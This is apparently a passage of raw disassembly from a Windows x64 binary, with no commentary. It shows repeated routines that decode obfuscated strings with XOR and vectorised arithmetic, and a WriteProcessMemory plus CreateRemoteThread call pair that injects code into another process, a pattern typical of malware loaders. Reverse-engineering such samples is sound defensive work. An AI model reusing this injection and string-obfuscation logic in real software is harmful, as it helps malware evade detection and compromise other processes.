add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000e020
mov rcx, r10
jmp 0x14000e536
mov byte [rbp - 3], 0
lea rdx, [rbp + 0x164]
lea rcx, [rbp - 3]
call fcn.140027e30
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14000e08b
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor cl, 5
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x1a40]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1a40]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1a40]
call fcn.1400b3040
cmp ebx, 8
jne 0x14000e549
mov byte [rbp - 2], 0
lea rdx, [rbp + 0x738]
lea rcx, [rbp - 2]
call fcn.140028530
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x14000e10e
xor byte [rbx + 1], 1
xor byte [rbx + 2], 2
xor byte [rbx + 3], 3
xor byte [rbx + 4], 4
xor byte [rbx + 5], 5
xor byte [rbx + 6], 6
xor byte [rbx + 7], 7
xor byte [rbx + 8], 8
xor byte [rbx + 9], 9
xor al, 0xa
mov byte [rbx + 0xa], al
mov byte [rbp - 1], 0
lea rdx, [rbp + 0xe0]
lea rcx, [rbp - 1]
call fcn.1400284b0
movzx ecx, byte [rax + 2]
test cl, cl
je 0x14000e134
xor byte [rax + 1], 1
xor cl, 2
mov byte [rax + 2], cl
mov rdx, rbx
mov rcx, rax
call fcn.140003210
mov r14, rax
mov byte [rbp], 0
lea rdx, [rbp + 0xb58]
lea rcx, [rbp]
call fcn.1400282e0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x14000e270
mov r8d, edi
cmp esi, 2
jl 0x14000e23a
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000e240
mov byte [rbp + 1], 0
lea rdx, [rbp + 0x1038]
lea rcx, [rbp + 1]
call fcn.140028110
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14000e3b0
mov r8d, edi
cmp esi, 2
jl 0x14000e36c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000e380
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 2], 0
lea rdx, [rbp + 0xb68]
lea rcx, [rbp + 2]
call fcn.140027f40
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x14000e4f1
mov r8d, edi
cmp esi, 2
jl 0x14000e4b4
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000e4c0
mov byte [rbp + 3], 0
lea rdx, [rbp + 0x528]
lea rcx, [rbp + 3]
call fcn.140027eb0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14000e533
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor cl, 9
mov byte [rax + 9], cl
mov rcx, rax
mov rdx, rbx
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov qword [rsp + 0x20], rdi
mov r9d, 0x1000
lea r8, [0x140036670]
mov rdx, r13
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140017eff
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r12
mov r9, r13
xor r8d, r8d
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x140017eff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rbp + 4], 0
lea rdx, [rbp + 0x1d4]
lea rcx, [rbp + 4]
call fcn.1400285d0
movzx ecx, byte [rax + 6]
test cl, cl
je 0x14000e5d6
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor cl, 6
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x1a60]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1a60]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1a60]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x14000ecc9
mov byte [rbp + 5], 0
lea rdx, [rbp + 0x1620]
lea rcx, [rbp + 5]
call fcn.140028e90
mov rbx, rax
cmp byte [rax + 0x19], 0
je 0x14000e761
mov r8d, edi
cmp esi, 2
jl 0x14000e728
mov rcx, rax
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000e641
cmp r8d, 0x1a
jge 0x14000e761
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14000e730
mov byte [rbp + 6], 0
lea rdx, [rbp + 0x1430]
lea rcx, [rbp + 6]
call fcn.140028c80
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x14000e8b1
mov r8d, edi
cmp esi, 2
jl 0x14000e878
mov rcx, rax
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000e791
cmp r8d, 0x16
jge 0x14000e8b1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14000e880
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp + 7], 0
lea rdx, [rbp + 0xb78]
lea rcx, [rbp + 7]
call fcn.140028ab0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x14000e9f0
mov r8d, edi
cmp esi, 2
jl 0x14000e9b7
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000e9c0
mov byte [rbp + 8], 0
lea rdx, [rbp + 0x1048]
lea rcx, [rbp + 8]
call fcn.1400288e0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14000eb30
mov r8d, edi
cmp esi, 2
jl 0x14000eaec
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000eb00
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 9], 0
lea rdx, [rbp + 0x748]
lea rcx, [rbp + 9]
call fcn.140028840
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14000eb92
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp + 0xa], 0
lea rdx, [rbp + 0x1298]
lea rcx, [rbp + 0xa]
call fcn.140028660
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x14000ecc1
mov r8d, edi
cmp esi, 2
jl 0x14000ec7d
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14000ec90
mov rcx, r10
jmp 0x14000fe66
mov byte [rbp + 0xb], 0
lea rdx, [rbp + 0x398]
lea rcx, [rbp + 0xb]
call fcn.1400290a0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14000ed07
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1a80]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1a80]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1a80]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x14000f29b
mov byte [rbp + 0xc], 0
lea rdx, [rbp + 0x1058]
lea rcx, [rbp + 0xc]
call fcn.1400297c0
mov rbx, rax
cmp byte [rax + 0xd], 0
je 0x14000ee71
mov r8d, edi
cmp esi, 2
jl 0x14000ee2d
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000ee40
mov byte [rbp + 0xd], 0
lea rdx, [rbp + 0xb88]
lea rcx, [rbp + 0xd]
call fcn.1400295f0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x14000efa1
mov r8d, edi
cmp esi, 2
jl 0x14000ef5c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000ef70
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp + 0xe], 0
lea rdx, [rbp + 0xb98]
lea rcx, [rbp + 0xe]
call fcn.140029420
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x14000f0e0
mov r8d, edi
cmp esi, 2
jl 0x14000f0a7
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000f0b0
mov byte [rbp + 0xf], 0
lea rdx, [rbp + 0x1068]
lea rcx, [rbp + 0xf]
call fcn.140029250
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14000f220
mov r8d, edi
cmp esi, 2
jl 0x14000f1dc
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000f1f0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0x10], 0
lea rdx, [rbp + 0x758]
lea rcx, [rbp + 0x10]
call fcn.1400291b0
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14000f282
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp + 0x11], 0
lea rdx, [rbp + 0x538]
lea rcx, [rbp + 0x11]
call fcn.140029120
jmp 0x14000fe35
mov byte [rbp + 0x12], 0
lea rdx, [rbp + 0x3a8]
lea rcx, [rbp + 0x12]
call fcn.140029990
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14000f2d9
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1aa0]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1aa0]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1aa0]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x14000f989
mov byte [rbp + 0x13], 0
lea rdx, [rbp + 0xe4]
lea rcx, [rbp + 0x13]
call fcn.14002a320
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x14000f33c
xor byte [rbx + 1], 1
xor al, 2
mov byte [rbx + 2], al
mov byte [rbp + 0x14], 0
